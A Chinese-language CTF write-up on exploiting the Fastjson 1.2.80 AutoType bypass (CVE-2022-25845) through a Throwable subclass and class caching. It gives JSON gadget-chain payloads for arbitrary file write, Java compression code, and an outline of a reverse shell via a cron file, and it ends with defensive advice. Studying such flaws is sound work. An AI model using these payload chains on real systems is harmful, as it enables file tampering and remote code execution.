2025京麒杯web
字数 1687 2025-08-29 22:41:24
Fastjson 1.2.80 反序列化漏洞分析与利用
一、漏洞背景
Fastjson 是阿里巴巴开源的高性能 JSON 库,广泛应用于 Java 项目中。在 1.2.80 版本中存在一个关键的反序列化漏洞(CVE-2022-25845),允许攻击者在特定条件下绕过 AutoType 安全检查机制,实现任意代码执行或文件操作。
二、前置知识
1. Fastjson 的 AutoTypeCheck 机制
- 白名单机制:从 1.2.68 版本开始引入,1.2.80 版本更加严格
- 允许的类:
- Java 基础类:
java.util.HashMap,java.util.ArrayList,java.lang.Integer,java.lang.String - 用户通过
ParserConfig.addAccept("com.example.")添加的类 - 特定第三方库被明示允许的类
- Java 基础类:
2. Fastjson 的类缓存机制
- ParserConfig.classMapping:当使用
@type加载一个类时会被缓存 - 缓存目的:
- 提升解析性能
- 减少重复反射操作
- 安全影响:
- 一旦类被加载,后续可以复用 Class 实例
- 不再检查 autoType(因为已被认为是"合法的")
3. 关键 Java 类
-
MarshalOutputStream (
sun.rmi.server.MarshalOutputStream):ObjectOutputStream的子类- 在对象序列化过程中会调用内部
OutputStream的write方法 - JDK RMI 模块中用于序列化对象的工具类
-
InflaterOutputStream:
- 标准 JDK 类,负责接收压缩数据 → 解压 → 向底层流写入
三、漏洞原理
1. 核心漏洞点
在 Fastjson 1.2.80 中,只要目标类继承了 Throwable 类,Fastjson 就能反序列化这个目标类,即使它不在白名单中。
2. 利用思路
- 通过继承
Throwable的类绕过 AutoType 检查 - 利用类缓存机制将
OutputStream相关类加入缓存 - 构造恶意链触发文件操作或代码执行
四、漏洞利用
1. 环境准备
- Fastjson 版本:1.2.80
- 目标类:
FilterFileOutputStream(题目实现)- 构造函数调用
super(name) - 会尝试打开或新建指定文件
- 构造函数调用
2. 利用步骤
步骤 1:绕过 AutoType 检查
{
"@type": "java.lang.Exception",
"@type": "org.example.VulnerableClass"
}
步骤 2:将 OutputStream 加入缓存
利用继承 Throwable 的类,其字段指向含 OutputStream 成员的类:
public class GadgetClass extends Throwable {
private OutputStream out;
// 构造函数和setter
}
步骤 3:构造文件写入链
-
MarshalOutputStream:
- 在
readObject()过程中触发底层OutputStream.write()
- 在
-
InflaterOutputStream:
- 持有字段
infl.input.array - 当
write()触发时会尝试将解压数据写入out
- 持有字段
-
FilterFileOutputStream:
- 构造函数中会打开文件
- 后续写入内容会写入该文件
步骤 4:构造完整 payload
{
"@type": "java.lang.Exception",
"@type": "org.example.GadgetClass",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "com.example.FilterFileOutputStream",
"name": "/tmp/evil"
},
"infl": {
"input": {
"array": "压缩后的恶意数据",
"length": 长度
}
}
}
}
3. 实际利用案例
案例 1:任意文件写入
// 数据压缩部分的 Java 实现
Deflater deflater = new Deflater();
deflater.setInput(evilData);
deflater.finish();
byte[] compressed = new byte[evilData.length];
int compressedSize = deflater.deflate(compressed);
案例 2:反弹 Shell
通过写入定时任务实现反弹 Shell:
{
"@type": "...",
// 构造写入 /etc/cron.d/evil 的 payload
"array": "压缩后的反弹 Shell 命令"
}
五、防御措施
- 升级 Fastjson:使用最新版本(1.2.83+)
- 关闭 AutoType:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - 严格白名单:只允许必要的类进行反序列化
- 输入过滤:对 JSON 输入进行严格验证